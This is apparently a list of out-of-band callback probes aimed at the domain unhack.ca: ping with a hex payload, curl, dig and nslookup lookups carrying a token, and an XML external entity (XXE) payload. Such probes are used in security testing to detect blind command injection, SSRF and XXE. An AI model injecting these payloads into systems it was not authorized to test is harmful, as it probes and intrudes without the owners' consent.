$ ping -c1 -p 00b9dfa3f78ba398b6dbfc7fabbf7500 unhack.ca
$ curl http://unhack.ca/p/b9dfa3f78ba398b6dbfc7fabbf75
$ dig b9dfa3f78ba398b6dbfc7fabbf75 @unhack.ca
$ dig b9dfa3f78ba398b6dbfc7fabbf75.ns.unhack.ca
C:\> nslookup b9dfa3f78ba398b6dbfc7fabbf75 unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/b9dfa3f78ba398b6dbfc7fabbf75">]> <foo>&xxe;</foo>